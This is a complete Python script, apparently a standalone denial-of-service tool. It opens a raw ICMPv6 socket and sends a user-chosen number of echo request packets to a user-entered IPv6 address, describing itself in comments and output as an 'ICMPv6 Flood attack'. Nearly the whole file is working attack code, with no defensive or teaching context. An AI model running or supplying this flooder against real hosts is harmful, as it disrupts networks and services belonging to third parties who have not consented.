import os
import sys
import socket
import struct
import random

def send_icmpv6_packet(target_ip, packet_count):
    try:
        # Create a raw socket
        sock = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)

        # Prepare the ICMPv6 packet
        icmpv6_packet = b'\x80\x00\x00\x00\x00\x00\x00\x00'

        # Send the ICMPv6 packet to the target IP address
        for _ in range(packet_count):
            sock.sendto(icmpv6_packet, (target_ip, 0))
            print("Sending ICMPv6 packet to", target_ip)

        print("Attack completed")
    except PermissionError:
        print("\033[1;31;40m[*]Insufficient permissions. Please run the script as root or with a user having specific privileges.")
        print("\033[1;37;40m")
    except Exception as e:
        print("\033[1;31;40m[*]Error occurred:", e)
        print("\033[1;37;40m")

if __name__ == "__main__":
    try:
        # Get the target IPv6 address and the number of ICMPv6 packets to send from user input
        target_ip = input("Enter the target IPv6 address:")
        packet_count = int(input("Enter the number of ICMPv6 packets to send:"))

        # Execute the ICMPv6 Flood attack
        send_icmpv6_packet(target_ip, packet_count)
    except KeyboardInterrupt:
        print("User interrupted the program")
    except Exception as e:
        print("Error occurred:", e)
